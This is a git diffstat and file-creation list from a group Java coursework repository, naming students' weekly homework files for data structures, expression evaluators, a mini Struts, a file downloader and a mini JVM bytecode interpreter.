 .../src/com/donaldy/jvm/cmd/LdcCmd.java       |  37 +
 .../src/com/donaldy/jvm/cmd/NewObjectCmd.java |  26 +
 .../src/com/donaldy/jvm/cmd/NoOperandCmd.java |  32 +
 .../com/donaldy/jvm/cmd/OneOperandCmd.java    |  27 +
 .../src/com/donaldy/jvm/cmd/PutFieldCmd.java  |  27 +
 .../com/donaldy/jvm/cmd/TwoOperandCmd.java    |  67 ++
 .../com/donaldy/jvm/constant/ClassInfo.java   |   4 +
 .../donaldy/jvm/constant/ConstantInfo.java    |  11 +
 .../donaldy/jvm/constant/ConstantPool.java    |   4 +-
 .../donaldy/jvm/constant/FieldRefInfo.java    |   4 +
 .../donaldy/jvm/constant/MethodRefInfo.java   |   5 +
 .../donaldy/jvm/constant/NameAndTypeInfo.java |   6 +
 .../jvm/constant/NullConstantInfo.java        |   4 +
 .../com/donaldy/jvm/constant/StringInfo.java  |   6 +
 .../com/donaldy/jvm/constant/UTF8Info.java    |   5 +
 .../donaldy/jvm/engine/ExecutionResult.java   |  56 ++
 .../donaldy/jvm/engine/ExecutorEngine.java    |  35 +
 .../src/com/donaldy/jvm/engine/Heap.java      |  39 +
 .../com/donaldy/jvm/engine/JavaObject.java    |  71 ++
 .../com/donaldy/jvm/engine/MethodArea.java    |  68 ++
 .../src/com/donaldy/jvm/engine/MiniJVM.java   |  28 +
 .../com/donaldy/jvm/engine/StackFrame.java    |  95 ++
 .../donaldy/jvm/loader/ClassFileLoader.java   |   1 +
 .../src/com/donaldy/jvm/method/Method.java    |  60 +-
 .../donaldy/jvm/print/ClassFilePrinter.java   |  52 +
 .../jvm/print/ConstantPoolPrinter.java        | 133 +++
 .../donaldy/jvm/test/ClassFileloaderTest.java |  88 ++
 group24/494800949/EmployeeV1-javap.txt        | 164 ++++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java |  93 ++
 .../coderising/jvm/attr/LineNumberTable.java  |  52 +
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  39 +
 .../coderising/jvm/attr/StackMapTable.java    |  30 +
 .../src/com/coderising/jvm/clz/ClassFile.java |  66 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  21 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 127 +++
 .../com/coderising/jvm/cmd/CommandParser.java | 150 +++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  21 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  20 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  22 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  30 +
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  24 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  20 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  63 ++
 .../coderising/jvm/constant/ClassInfo.java    |   7 +-
 .../coderising/jvm/constant/ConstantInfo.java |  13 +-
 .../coderising/jvm/constant/FieldRefInfo.java |   9 +-
 .../jvm/constant/MethodRefInfo.java           |   7 +-
 .../jvm/constant/NameAndTypeInfo.java         |   9 +-
 .../jvm/constant/NullConstantInfo.java        |   6 +-
 .../coderising/jvm/constant/StringInfo.java   |   7 +-
 .../com/coderising/jvm/constant/UTF8Info.java |   6 +
 .../src/com/coderising/jvm/field/Field.java   |  38 +
 .../jvm/loader/ByteCodeIterator.java          |  31 +-
 .../jvm/loader/ClassFileParser.java           |  31 +-
 .../src/com/coderising/jvm/method/Method.java |  69 ++
 .../jvm/print/ClassFilePrinter.java           |  45 +
 .../jvm/print/ConstantPoolPrinter.java        |  34 +
 .../coderising/jvm/print/SimpleVistor.java    |  56 ++
 .../src/main/java/com/coding/weak1/Stack.java |   2 +
 .../java/com/coding/week6/expr/InfixExpr.java | 127 +++
 .../java/com/coding/week6/expr/Token.java     |  52 +
 .../com/coding/week6/exprNew/InfixExpr.java   |  57 ++
 .../com/coding/week6/exprNew/Operator.java    |  75 ++
 .../java/com/coding/week6/exprNew/Token.java  |  63 ++
 .../com/coding/week6/exprNew/TokenParser.java |  60 ++
 .../java/com/coding/week7/InfixToPostfix.java |  69 ++
 .../java/com/coding/week7/PostfixExpr.java    |  39 +
 .../java/com/coding/week7/PrefixExpr.java     |  43 +
 .../mini_jvm/test/ClassFileloaderTest.java    | 163 +++-
 .../coding/week6/expr/InfixExprTestTest.java  |  77 ++
 .../week6/exprNew/InfixExprTestTest.java      |  78 ++
 .../coding/week6/exprNew/TokenParserTest.java |  18 +
 .../com/coding/week7/InfixToPostfixTest.java  |  34 +
 .../com/coding/week7/PostfixExprTest.java     |  41 +
 .../java/com/coding/week7/PrefixExprTest.java |  45 +
 .../java/basic/dataStructure/ArrayList.java   | 115 +++
 .../java/basic/dataStructure/ArrayUtil.java   | 245 +++++
 .../basic/dataStructure/BinaryTreeNode.java   |  58 ++
 .../java/basic/dataStructure/LinkedList.java  | 341 +++++++
 .../main/java/basic/dataStructure/List.java   |  12 +
 .../main/java/basic/dataStructure/Queue.java  |  72 ++
 .../main/java/basic/dataStructure/Stack.java  |  41 +
 .../java/basic/liteStruts/LoginAction.java    |  39 +
 .../main/java/basic/liteStruts/ReadXML.java   |  28 +
 .../main/java/basic/liteStruts/Struts.java    |  78 ++
 .../src/main/java/basic/liteStruts/View.java  |  23 +
 .../src/main/java/miniJVM/Demo.java           |   7 +
 .../java/thread/download/DownloadThread.java  |  39 +
 .../java/thread/download/FileDownloader.java  | 106 +++
 .../java/thread/download/api/Connection.java  |  23 +
 .../download/api/ConnectionException.java     |   8 +
 .../download/api/ConnectionManager.java       |  10 +
 .../thread/download/api/DownloadListener.java |   5 +
 .../thread/download/impl/ConnectionImpl.java  |  93 ++
 .../download/impl/ConnectionManagerImpl.java  |  20 +
 .../java/data_structure/ArrayListTest.java    |  69 ++
 .../java/data_structure/ArrayUtilTest.java    |  67 ++
 .../data_structure/BinaryNodeTreeTest.java    |  29 +
 .../java/data_structure/LinkedListTest.java   | 151 +++
 .../test/java/data_structure/QueueTest.java   |  50 +
 .../test/java/data_structure/StackTest.java   |  49 +
 .../java/download/FileDownloaderTest.java     |  54 ++
 .../src/test/java/liteStruts/StrutsTest.java  |  42 +
 group24/Homework/1-FirstWeek/ArrayList.java   |  35 +
 .../Homework/1-FirstWeek/BinaryTreeNode.java  |  32 +
 group24/Homework/1-FirstWeek/Iterator.java    |   7 +
 group24/Homework/1-FirstWeek/LinkedList.java  | 125 +++
 .../Homework/1-FirstWeek}/List.java           |  18 +-
 group24/Homework/1-FirstWeek/Queue.java       |  61 ++
 group24/Homework/1-FirstWeek/Stack.java       |  24 +
 .../2-SecondWeek/litestruts/LoginAction.java  |  39 +
 .../2-SecondWeek/litestruts/Struts.java       |  34 +
 .../2-SecondWeek/litestruts/StrutsTest.java   |  43 +
 .../2-SecondWeek/litestruts/View.java         |  23 +
 group24/Homework/3-ThirdWeek/LinkedList.java  | 125 +++
 .../3-ThirdWeek/download/DownloadThread.java  |  20 +
 .../3-ThirdWeek/download/FileDownloader.java  |  73 ++
 .../download/FileDownloaderTest.java          |  59 ++
 .../3-ThirdWeek/download/api/Connection.java  |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 +
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 group24/Homework/4-FourWeek/LRUPageFrame.java |  57 ++
 .../Homework/4-FourWeek/LRUPageFrameTest.java |  34 +
 .../jvm/loader/ClassFileLoader .java          |  25 +
 .../jvm/test/ClassFileloaderTest.java         |  92 ++
 .../4-FourWeek/jvm/test/EmployeeV1.java       |   0
 group24/Homework/5-FifthWeek/README.txt       |   3 +
 group24/Homework/5-FifthWeek/StackUtil.java   |  48 +
 .../Homework/5-FifthWeek/StackUtilTest.java   |  65 ++
 .../5-FifthWeek/jvm/clz/AccessFlag.java       |  23 +
 .../5-FifthWeek/jvm/clz/ClassFile .java       |  58 ++
 .../5-FifthWeek/jvm/clz/ClassIndex.java       |  17 +
 .../5-FifthWeek/jvm/constant/ClassInfo.java   |  28 +
 .../jvm/constant/ConstantInfo.java            |  40 +
 .../jvm/constant/ConstantPool.java            |  31 +
 .../jvm/constant/FieldRefInfo.java            |  58 ++
 .../jvm/constant/MethodRefInfo.java           |  60 ++
 .../jvm/constant/NameAndTypeInfo.java         |  51 +
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../5-FifthWeek/jvm/constant/StringInfo.java  |  32 +
 .../5-FifthWeek/jvm/constant/UTF8Info.java    |  37 +
 .../jvm/loader/ByteCodeIterator.java          |  18 +
 .../jvm/loader/ClassFileLoader.java           |  62 ++
 .../jvm/loader/ClassFileParser.java           |  62 ++
 .../jvm/test/ClassFileloaderTest.java         | 208 ++++
 .../5-FifthWeek/jvm/test/EmployeeV1.java      |  28 +
 .../Homework/5-FifthWeek/jvm/util/Util.java   |  24 +
 group24/Homework/6-SixWeek/InfixExpr.java     |  15 +
 group24/Homework/6-SixWeek/InfixExprTest.java |  52 +
 group24/Homework/6-SixWeek/README.txt         |   3 +
 .../6-SixWeek/jvm/attr/AttributeInfo.java     |  19 +
 .../Homework/6-SixWeek/jvm/attr/CodeAttr.java |  70 ++
 .../6-SixWeek/jvm/attr/LineNumberTable.java   |  55 ++
 .../6-SixWeek/jvm/attr/LocalVariableItem.java |  39 +
 .../jvm/attr/LocalVariableTable.java          |  42 +
 .../6-SixWeek/jvm/attr/StackMapTable.java     |  30 +
 .../6-SixWeek/jvm/clz/AccessFlag.java         |  25 +
 .../Homework/6-SixWeek/jvm/clz/ClassFile.java | 102 ++
 .../6-SixWeek/jvm/clz/ClassIndex.java         |  19 +
 .../6-SixWeek/jvm/constant/ClassInfo.java     |  28 +
 .../6-SixWeek/jvm/constant/ConstantInfo.java  |  40 +
 .../6-SixWeek/jvm/constant/ConstantPool.java  |  31 +
 .../6-SixWeek/jvm/constant/FieldRefInfo.java  |  58 ++
 .../6-SixWeek/jvm/constant/MethodRefInfo.java |  60 ++
 .../jvm/constant/NameAndTypeInfo.java         |  51 +
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../6-SixWeek/jvm/constant/StringInfo.java    |  32 +
 .../6-SixWeek/jvm/constant/UTF8Info.java      |  37 +
 .../Homework/6-SixWeek/jvm/field/Field.java   |  50 +
 .../jvm/loader/ByteCodeIterator.java          |  57 ++
 .../6-SixWeek/jvm/loader/ClassFileLoader.java | 140 +++
 .../6-SixWeek/jvm/loader/ClassFileParser.java |  62 ++
 .../Homework/6-SixWeek/jvm/method/Method.java |  80 ++
 .../jvm/test/ClassFileloaderTest.java         | 282 ++++++
 .../6-SixWeek/jvm/test/EmployeeV1.java        |  28 +
 group24/Homework/6-SixWeek/jvm/util/Util.java |  24 +
 .../Homework/7-SevenWeek/InfixToPostfix.java  |  14 +
 group24/Homework/7-SevenWeek/PostfixExpr.java |  18 +
 .../Homework/7-SevenWeek/PostfixExprTest.java |  41 +
 group24/Homework/7-SevenWeek/README.txt       |   4 +
 .../7-SevenWeek/jvm/attr/AttributeInfo.java   |  19 +
 .../7-SevenWeek/jvm/attr/CodeAttr.java        |  70 ++
 .../7-SevenWeek/jvm/attr/LineNumberTable.java |  55 ++
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  42 +
 .../7-SevenWeek/jvm/attr/StackMapTable.java   |  30 +
 .../7-SevenWeek/jvm/clz/AccessFlag.java       |  25 +
 .../7-SevenWeek/jvm/clz/ClassFile.java        | 102 ++
 .../7-SevenWeek/jvm/clz/ClassIndex.java       |  19 +
 .../7-SevenWeek/jvm/cmd/BiPushCmd.java        |  23 +
 .../7-SevenWeek/jvm/cmd/ByteCodeCommand.java  | 128 +++
 .../7-SevenWeek/jvm/cmd/CommandParser.java    |  85 ++
 .../7-SevenWeek/jvm/cmd/GetFieldCmd.java      |  22 +
 .../jvm/cmd/GetStaticFieldCmd.java            |  23 +
 .../7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java |  23 +
 .../7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java |  22 +
 .../Homework/7-SevenWeek/jvm/cmd/LdcCmd.java  |  29 +
 .../7-SevenWeek/jvm/cmd/NewObjectCmd.java     |  19 +
 .../7-SevenWeek/jvm/cmd/NoOperandCmd.java     |  23 +
 .../7-SevenWeek/jvm/cmd/OneOperandCmd.java    |  27 +
 .../7-SevenWeek/jvm/cmd/PutFieldCmd.java      |  19 +
 .../7-SevenWeek/jvm/cmd/TwoOperandCmd.java    |  67 ++
 .../7-SevenWeek/jvm/constant/ClassInfo.java   |  28 +
 .../jvm/constant/ConstantInfo.java            |  40 +
 .../jvm/constant/ConstantPool.java            |  31 +
 .../jvm/constant/FieldRefInfo.java            |  58 ++
 .../jvm/constant/MethodRefInfo.java           |  60 ++
 .../jvm/constant/NameAndTypeInfo.java         |  51 +
 .../jvm/constant/NullConstantInfo.java        |  17 +
 .../7-SevenWeek/jvm/constant/StringInfo.java  |  32 +
 .../7-SevenWeek/jvm/constant/UTF8Info.java    |  37 +
 .../Homework/7-SevenWeek/jvm/field/Field.java |  50 +
 .../jvm/loader/ByteCodeIterator.java          |  57 ++
 .../jvm/loader/ClassFileLoader.java           | 140 +++
 .../jvm/loader/ClassFileParser.java           |  62 ++
 .../7-SevenWeek/jvm/method/Method.java        |  80 ++
 .../jvm/print/ClassFilePrinter.java           |  54 ++
 .../jvm/print/ConstantPoolPrinter.java        |  25 +
 .../jvm/test/ClassFileloaderTest.java         | 354 +++++++
 .../7-SevenWeek/jvm/test/EmployeeV1.java      |  28 +
 .../Homework/7-SevenWeek/jvm/util/Util.java   |  24 +
 .../8-EighthWeek/attr/AttributeInfo.java      |  19 +
 .../Homework/8-EighthWeek/attr/CodeAttr.java  |  70 ++
 .../8-EighthWeek/attr/LineNumberTable.java    |  55 ++
 .../8-EighthWeek/attr/LocalVariableItem.java  |  39 +
 .../8-EighthWeek/attr/LocalVariableTable.java |  42 +
 .../8-EighthWeek/attr/StackMapTable.java      |  30 +
 .../Homework/8-EighthWeek/clz/AccessFlag.java |  25 +
 .../Homework/8-EighthWeek/clz/ClassFile.java  | 102 ++
 .../Homework/8-EighthWeek/clz/ClassIndex.java |  19 +
 .../Homework/8-EighthWeek/cmd/BiPushCmd.java  |  31 +
 .../8-EighthWeek/cmd/ByteCodeCommand.java     | 130 +++
 .../8-EighthWeek/cmd/CommandParser.java       |  85 ++
 .../8-EighthWeek/cmd/GetFieldCmd.java         |  30 +
 .../8-EighthWeek/cmd/GetStaticFieldCmd.java   |  31 +
 .../8-EighthWeek/cmd/InvokeSpecialCmd.java    |  31 +
 .../8-EighthWeek/cmd/InvokeVirtualCmd.java    |  29 +
 group24/Homework/8-EighthWeek/cmd/LdcCmd.java |  37 +
 .../8-EighthWeek/cmd/NewObjectCmd.java        |  27 +
 .../8-EighthWeek/cmd/NoOperandCmd.java        |  31 +
 .../8-EighthWeek/cmd/OneOperandCmd.java       |  27 +
 .../8-EighthWeek/cmd/PutFieldCmd.java         |  27 +
 .../8-EighthWeek/cmd/TwoOperandCmd.java       |  67 ++
 .../8-EighthWeek/constant/ClassInfo.java      |  28 +
 .../8-EighthWeek/constant/ConstantInfo.java   |  40 +
 .../8-EighthWeek/constant/ConstantPool.java   |  31 +
 .../8-EighthWeek/constant/FieldRefInfo.java   |  58 ++
 .../8-EighthWeek/constant/MethodRefInfo.java  |  60 ++
 .../constant/NameAndTypeInfo.java             |  51 +
 .../constant/NullConstantInfo.java            |  17 +
 .../8-EighthWeek/constant/StringInfo.java     |  32 +
 .../8-EighthWeek/constant/UTF8Info.java       |  37 +
 .../8-EighthWeek/engine/ExecutionResult.java  |  56 ++
 .../8-EighthWeek/engine/ExecutorEngine.java   |  35 +
 .../Homework/8-EighthWeek/engine/Heap.java    |  39 +
 .../8-EighthWeek/engine/JavaObject.java       |  71 ++
 .../8-EighthWeek/engine/MethodArea.java       |  68 ++
 .../Homework/8-EighthWeek/engine/MiniJVM.java |  28 +
 .../8-EighthWeek/engine/StackFrame.java       |  95 ++
 .../Homework/8-EighthWeek/field/Field.java    |  50 +
 .../8-EighthWeek/loader/ByteCodeIterator.java |  57 ++
 .../8-EighthWeek/loader/ClassFileLoader.java  | 140 +++
 .../8-EighthWeek/loader/ClassFileParser.java  |  62 ++
 .../Homework/8-EighthWeek/method/Method.java  |  80 ++
 .../8-EighthWeek/print/ClassFilePrinter.java  |  54 ++
 .../print/ConstantPoolPrinter.java            |  25 +
 .../test/ClassFileloaderTest.java             | 354 +++++++
 .../8-EighthWeek/test/EmployeeV1.java         |  28 +
 group24/Homework/8-EighthWeek/util/Util.java  |  24 +
 group27/383117348/.classpath                  |   3 +-
 .../coderising/download/DownloadThread.java   |   0
 .../coderising/download/FileDownloader.java   |   0
 .../download/FileDownloaderTest.java          |   0
 .../coderising/download/api/Connection.java   |   0
 .../download/api/ConnectionException.java     |   0
 .../download/api/ConnectionManager.java       |   0
 .../download/api/DownloadListener.java        |   0
 .../download/impl/ConnectionImpl.java         |   0
 .../download/impl/ConnectionManagerImpl.java  |   0
 .../coderising/litestruts/LoginAction.java    |   0
 .../com/coderising/litestruts/Struts.java     |   0
 .../com/coderising/litestruts/StrutsTest.java |   0
 .../com/coderising/litestruts/View.java       |   0
 .../com/coderising/litestruts/struts.xml      |   0
 .../com/coding/basic/BinaryTreeNode.java      |   0
 .../com/coding/basic/Iterator.java            |   0
 .../com/coding/basic/List.java                |   0
 .../com/coding/basic/array/ArrayList.java     |   0
 .../com/coding/basic/array/ArrayUtil.java     |   0
 .../coding/basic/linklist/LRUPageFrame.java   |   0
 .../basic/linklist/LRUPageFrameTest.java      |   0
 .../com/coding/basic/linklist/LinkedList.java |   0
 .../com/coding/basic/queue/CircleQueue.java   |   5 +
 .../com/coding/basic/queue/Josephus.java      |  42 +
 .../com/coding/basic/queue/JosephusTest.java  |  26 +
 .../com/coding/basic/queue}/Queue.java        |   2 +-
 .../basic/queue/QueueWithTwoStacks.java       |  38 +
 .../com/coding/basic/stack/Stack.java         |   0
 .../com/coding/basic/stack/StackUtil.java     |   0
 .../coding/basic/stack/expr/InfixExpr.java    | 181 ++++
 .../basic/stack/expr/InfixExprTest.java       |  46 +
 .../basic/stack/expr/InfixToPostfix.java      |  59 ++
 .../basic/stack/expr/InfixToPrevfix.java      |  54 ++
 .../coding/basic/stack/expr/PostfixExpr.java  |  55 ++
 .../basic/stack/expr/PostfixExprTest.java     |  36 +
 .../coding/basic/stack/expr/PrefixExpr.java   |  49 +
 .../basic/stack/expr/PrefixExprTest.java      |  44 +
 .../com/coding/basic/stack/expr/Token.java    |  49 +
 .../coding/basic/stack/expr/TokenParser.java  |  56 ++
 .../basic/stack/expr/TokenParserTest.java     |  40 +
 .../basic/stack/test/StackUtilTest.java       |   0
 .../coderising/jvm/attr/AttributeInfo.java    |  17 +
 .../com/coderising/jvm/attr/CodeAttr.java     | 108 +++
 .../coderising/jvm/attr/LineNumberTable.java  |  70 ++
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  54 ++
 .../coderising/jvm/attr/StackMapTable.java    |  29 +
 .../com/coderising/jvm/clz/AccessFlag.java    |   0
 .../com/coderising/jvm/clz/ClassFile.java     | 124 +++
 .../com/coderising/jvm/clz/ClassIndex.java    |   0
 .../com/coderising/jvm/cmd/BiPushCmd.java     |  23 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 +++
 .../com/coderising/jvm/cmd/CommandParser.java | 144 +++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../com/coderising/jvm/cmd/LdcCmd.java        |  29 +
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ++
 .../coderising/jvm/constant/ClassInfo.java    |   0
 .../coderising/jvm/constant/ConstantInfo.java |   0
 .../coderising/jvm/constant/ConstantPool.java |   0
 .../coderising/jvm/constant/FieldRefInfo.java |   0
 .../coderising/jvm/constant/FloatInfo.java    |   0
 .../coderising/jvm/constant/IntegerInfo.java  |   0
 .../jvm/constant/MethodRefInfo.java           |   0
 .../jvm/constant/NameAndTypeInfo.java         |   0
 .../jvm/constant/NullConstantInfo.java        |   0
 .../coderising/jvm/constant/StringInfo.java   |   0
 .../com/coderising/jvm/constant/UTF8Info.java |   0
 .../com/coderising/jvm/field/Field.java       |  42 +
 .../jvm/loader/ByteCodeIterator.java          |  16 +
 .../jvm/loader/ClassFileLoader.java           |   0
 .../jvm/loader/ClassFileLoader_backup.java    |   0
 .../jvm/loader/ClassFileParser.java           |  45 +-
 .../com/coderising/jvm/method/Method.java     |  76 ++
 .../jvm/print/ClassFilePrinter.java           |  54 ++
 .../jvm/print/ConstantPoolPrinter.java        |  25 +
 .../jvm/test/ClassFileloaderTest.java         | 353 +++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |   0
 .../com/coderising/jvm/util/Util.java         |   0
 .../src/com/coding/basic/Stack.java           |  65 --
 .../coding/basic/{ => array}/ArrayList.java   |   6 +-
 .../src/com/coding/basic/array/List.java      |   9 +
 .../com/coding/basic/linklist/LinkedList.java |   2 +-
 .../src/com/coding/basic/stack/Stack.java     |   4 +-
 .../src/com/coding/basic/stack/StackUtil.java |  26 +-
 .../com/coding/basic/stack/StackUtilTest.java |  76 ++
 .../coding/basic/stack/expr/InfixExpr.java    |  98 ++
 .../basic/stack/expr/InfixExprTest.java       |  57 ++
 .../basic/stack/expr/InfixToPostfix.java      |  57 ++
 .../coding/basic/stack/expr/PostfixExpr.java  |  51 +
 .../basic/stack/expr/PostfixExprTest.java     |  41 +
 .../coding/basic/stack/expr/PrefixExpr.java   |  18 +
 .../basic/stack/expr/PrefixExprTest.java      |  45 +
 .../com/coding/basic/stack/expr/Token.java    |  50 +
 .../coding/basic/stack/expr/TokenParser.java  |  57 ++
 .../basic/stack/expr/TokenParserTest.java     |  41 +
 .../coderising/jvm/attr/AttributeInfo.java    |  19 +
 .../src/com/coderising/jvm/attr/CodeAttr.java | 108 +++
 .../coderising/jvm/attr/LineNumberTable.java  |  67 ++
 .../jvm/attr/LocalVariableItem.java           |  39 +
 .../jvm/attr/LocalVariableTable.java          |  58 ++
 .../coderising/jvm/attr/StackMapTable.java    |  30 +
 .../src/com/coderising/jvm/clz/ClassFile.java |  35 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 +++
 .../com/coderising/jvm/cmd/CommandParser.java |  85 ++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 +
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 +
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 +
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 +
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 +
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ++
 .../coderising/jvm/constant/ClassInfo.java    |   4 +
 .../coderising/jvm/constant/ConstantInfo.java |  16 +-
 .../coderising/jvm/constant/ConstantPool.java |   4 +-
 .../coderising/jvm/constant/FieldRefInfo.java |   4 +
 .../jvm/constant/MethodRefInfo.java           |   8 +-
 .../jvm/constant/NameAndTypeInfo.java         |   6 +
 .../jvm/constant/NullConstantInfo.java        |   4 +
 .../coderising/jvm/constant/StringInfo.java   |   6 +
 .../com/coderising/jvm/constant/UTF8Info.java |   5 +
 .../src/com/coderising/jvm/field/Field.java   |  47 +
 .../jvm/loader/ByteCodeIterator.java          |  44 +-
 .../jvm/loader/ClassFileParser.java           |  32 +
 .../src/com/coderising/jvm/method/Method.java |  98 ++
 .../jvm/print/ClassFilePrinter.java           |  45 +
 .../jvm/print/ConstantPoolPrinter.java        |  83 ++
 .../jvm/test/ClassFileloaderTest.java         | 167 +++-
 .../coding/basic/stack/expr/InfixExpr.java    |  22 +-
 .../basic/stack/expr/InfixToPostfix.java      |  50 +-
 .../basic/stack/expr/InfixToPostfixTest.java  |  41 +
 .../com/coderising/jvm/test/MiniJVMTest.java  |  28 +
 1296 files changed, 61104 insertions(+), 6100 deletions(-)
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ClassInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/ConstantPool.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/FieldRefInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/MethodRefInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/NullConstantInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/StringInfo.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/constant/UTF8Info.java
 create mode 100644 group02/562768642/src/com/github/orajavac/coding2017/jvm/field/Field.java
